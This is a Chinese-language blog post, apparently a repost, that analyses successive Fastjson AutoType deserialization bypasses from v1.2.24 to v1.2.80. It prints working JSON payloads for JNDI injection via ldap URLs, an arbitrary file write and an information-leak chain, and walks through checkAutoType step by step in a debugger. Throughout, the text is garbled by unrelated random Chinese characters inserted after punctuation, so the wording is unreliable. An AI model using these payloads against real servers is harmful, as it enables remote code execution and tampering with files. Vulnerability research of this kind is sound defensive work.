聲明
以下內(nèi)容默伍,來(lái)自且聽(tīng)安全公眾號(hào)的QCyber作者原創(chuàng)传货,由于傳播惫东,利用此文所提供的信息而造成的任何直接或間接的后果和損失莉给,均由使用者本人負(fù)責(zé),長(zhǎng)白山攻防實(shí)驗(yàn)室以及文章作者不承擔(dān)任何責(zé)任廉沮。
0x01 漏洞信息
近期Fastjson Develop Team報(bào)告了Fastjson v1.2.80存在AutoType繞過(guò)反序列化漏洞颓遏,通報(bào)如下:
漏洞在特定條件下可以繞過(guò)默認(rèn)關(guān)閉的AutoType限制,結(jié)合一個(gè)新的利用鏈废封,可實(shí)現(xiàn)RCE 州泊。
0x02 AuthType 機(jī)制
Fastjson通過(guò)函數(shù)`parse`或者`parse-Object`來(lái)完成字符串的反序列化操作丧蘸,并且可以通過(guò)`@type`來(lái)指定反序列化的類(lèi)型漂洋。
Fastjson v1.2.24可以通過(guò)
'JdbcRowSetImpl`來(lái)實(shí)現(xiàn)JNDI注入:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/test",
"autoCommit":true
}
Fastjson v1.2.25推出了AutoType機(jī)制,在`DefaultJSONParser`中增加了 `checkAutoType`檢查:
`checkAutoType`中存在黑白名單檢查:
`autoTypeSupport`默認(rèn)為`False` 力喷,為了運(yùn)行通過(guò)`@type`指定反序列化類(lèi)型刽漂,正常情況下需要手動(dòng)進(jìn)行設(shè)置:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
同時(shí)還存在黑名單校驗(yàn):
所以Fastjson繞過(guò)歷史可以分為AutoType機(jī)制繞過(guò)和黑名單繞過(guò),絕大部分都是尋找一個(gè)新的利用鏈來(lái)繞過(guò)黑名單弟孟,所以Fastjson官方的黑名單列表越來(lái)越大贝咙,但是更有意義的繞過(guò)顯然是AutoType機(jī)制繞過(guò),這樣無(wú)需手動(dòng)配置 `autoTypeSupport`也可能進(jìn)行利用拂募。
0x03?Fastjson v1.2.47 繞過(guò)
Payload 如下:
{
"x": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"y": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/test",
"autoCommit": true
}
}
在進(jìn)入`checkAutoType`之前庭猩,調(diào)用
`TypeUtils#addBaseClassMappings`函數(shù)將常見(jiàn)類(lèi)加載到緩存的`mapping`對(duì)象:
然后進(jìn)入`checkAutoType` ,因?yàn)閌auto-TypeSupport`默認(rèn)為`False` 陈症,
所以嘗試從`mapping`或者`deseriali-zers.findClass`中加載類(lèi):
通過(guò)`deserializers#findClass` 可以找到`java.lang.Class` 類(lèi)蔼水;
回到`DefaultJSONParser` ,一直進(jìn)入到第358行獲取的`deserializer`對(duì)象為 `MiscCodec`類(lèi)型录肯,一直往下走趴腋,通過(guò)函數(shù)`deserialze`開(kāi)始反序列化操作:
通過(guò)`parser.paese`提取到`objVal`的值為:
`com.sun.rowset.JdbcRowSetImpl`?
繼續(xù)往下走,一直到達(dá)如下判斷:
跟進(jìn) `TypeUtils.loadClass` :
在程序上下文環(huán)境中加載
`com.sun.rowset.JdbcRowSetImpl`類(lèi)型并加入到`mapping`中。
由于我們Payload傳入2個(gè)Json對(duì)象优炬,所以會(huì)再次調(diào)用`check-AutoType` :
此時(shí)在進(jìn)行AutoType機(jī)制檢查前已經(jīng)返回了`clazz` :
所以實(shí)現(xiàn)了AutoType機(jī)制的繞過(guò)颁井。在v1.2.48版本中將`java.lang.Class`加入了黑名單。
0x04?Fastjson v1.2.50?繞過(guò)
Payload 如下:
{
"@type":"java.lang.AutoCloseable",
"@type":"oracle.jdbc.rowset.OracleJDBCRowSet",
"dataSourceName":"ldap://localhost:1389/test",
"command":"a"
}
回到`checkAutoType`函數(shù):
要想`expectClassFlag`取值為`True`蠢护,那么傳入`checkAutoType`的`expectClass`類(lèi)對(duì)象應(yīng)該非空雅宾。
第一次從`parse`調(diào)用`checkAuto-Type`時(shí),`expectClass`取值為`null` 葵硕,繼續(xù)往下走:
如果在緩存`mapping`中能夠匹配到類(lèi)秀又,`checkAutoType`將返回該類(lèi)型對(duì)象。
Payload中用到的`java.lang.Auto-Closeable`正好位于緩存`mapping`
(`TypeUtils#addBaseClassMappings`)
繼續(xù)往下走:
因?yàn)閌clazz`取值為`java.lang.Auto-Closeable` :
所以獲取的`ObjectDeserializer`對(duì)象為`JavaBeanDeserializer`類(lèi)型跟進(jìn)
`JavaBeanDeserializer#deserialze`
會(huì)再次調(diào)用`checkAutoType`贬芥,
此時(shí)會(huì)將第二個(gè)`@type` 和非空的`expectClass` 傳進(jìn)去:
此時(shí)因?yàn)閌expectClass`非空吐辙,所以繞過(guò)了AuthType檢查機(jī)制。同時(shí)后面通過(guò) `TypeUtils#loadClass`加載類(lèi)的過(guò)程中蘸劈,調(diào)用了`isAssignableFrom`昏苏,用來(lái)判斷反序列化的類(lèi)是否實(shí)現(xiàn)了`expectClass`接口,如果是將返回反序列化類(lèi)對(duì)象威沫。
`oracle.jdbc.rowset.OracleJDBCRowSet`繼承關(guān)系如下圖所示:
后面實(shí)現(xiàn) JNDI 注入的過(guò)程就不分析了贤惯。在 v1.2.51 版本的補(bǔ)丁中只是將 `oracle.jdbc.rowset.OracleJDBCRowSet` 添加進(jìn)入了黑名單。
0x05?Fastjson v1.2.68 繞過(guò)
嚴(yán)格意義上講v1.2.68不是真正的AuthType繞過(guò)棒掠。
回顧前面的分析孵构,由于 Fastjson并未將`java.lang.AutoCloseable`加入黑名單,所以理論上只要再尋找一個(gè)類(lèi)繼承于`java.lang.AutoCloseable` 烟很,并且不在黑名單中颈墅,同時(shí) get/set中存在可利用的操作即可。
Fastjson v1.2.68 繞過(guò)借助的類(lèi)為`sun.rmi.server.MarshalOutputStream` 雾袱,繼承關(guān)系如下:
最終可以實(shí)現(xiàn)任意文件寫(xiě)入恤筛,Payload 如下:
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/tmp/asdasd",
"append": true
},
"infl": {
"input": {
"array": "eJxLLE5JTCkGAAh5AnE=",
"limit": 14
}
},
"bufLen": "100"
},
"protocolVersion": 1
}
AuthType繞過(guò)過(guò)程與v1.2.50一樣,觸發(fā)任意文件寫(xiě)入的過(guò)程就不進(jìn)行分析了芹橡。
v1.2.69版本終于將`java.lang.Auto-Closeable`加入了黑名單毒坛,那么v1.2.50和v1.2.68的繞過(guò)方式也就無(wú)效了。
0x06??Fastjson v1.2.80?繞過(guò)
回顧v1.2.50和v1.2.68的繞過(guò)方式林说,主要是在`ObjectDeserializer`接口的子類(lèi) `JavaBeanDeserializer`中存在`expectClass`非空的`checkAuto-Type`調(diào)用煎殷,這也是繞過(guò)的關(guān)鍵。
順著這個(gè)思路腿箩,我們繼續(xù)在`Object-Deserializer`接口的其他子類(lèi)中尋找`expectClass'非空的`checkAuto-Type`調(diào)用:
除了`JavaBeanDeserializer`之外豪直,在子類(lèi)`ThrowableDeserializer`的函數(shù) `deserialze`中也存在滿(mǎn)足條件的調(diào)用:
從`expressClass`定義來(lái)看,利用鏈類(lèi)型必須繼承于`Throwable` 度秘。我們可以構(gòu)造如下測(cè)試來(lái)調(diào)試一下解析過(guò)程(`java.lang.Exception`繼承于 `Throwable`):
{
"@type":"java.lang.Exception",
"@type":"test",
"a":"test"
}
第一次進(jìn)入`checkAutoType`函數(shù)顶伞,?`expressClass`參數(shù)為空:
嘗試從緩存`mapping`中實(shí)例化?
`clazz`(`TypeUtils#addBaseClassMappings`已經(jīng)將`java.lang.Exception` 加入了`mapping`):
往下走`getDeserializer`返回的`ObjectDeserializer` 為`Throwable-Deserializer`類(lèi)型:
進(jìn)入
`ThrowableDeserializer#deserialze` 饵撑,順利到達(dá)`checkAutoType`:
與前面分析的繞過(guò)類(lèi)似,第二次進(jìn)入`checkAutoType` 時(shí)唆貌,`express-Class` 取值非空滑潘,從而實(shí)現(xiàn)繞過(guò)。
其實(shí)這種繞過(guò)方式在 2020 年就已經(jīng)有大佬放出來(lái)了:
{
"x":{
"@type":"java.lang.Exception",
"@type":"org.openqa.selenium.WebDriverException"
},
"y":{
"$ref":"$x.systemInformation"
}
}
這是一個(gè)信息泄露的利用鏈锨咙,這條鏈的分析網(wǎng)上已經(jīng)不少了语卤,這里就不重復(fù)了。最近官方通報(bào)漏洞應(yīng)該是有人找到了能夠 RCE 的利用鏈酪刀,查看 v1.2.81 的黑名單可以看到新增了不少 hash (但是還沒(méi)分析出來(lái)是哪個(gè)鏈粹舵,研究出來(lái)了再分享給大家吧~)。
原文鏈接:
https://mp.weixin.qq.com/s/kjttmJHtBiuYHItdmVTEIA?notreplace=true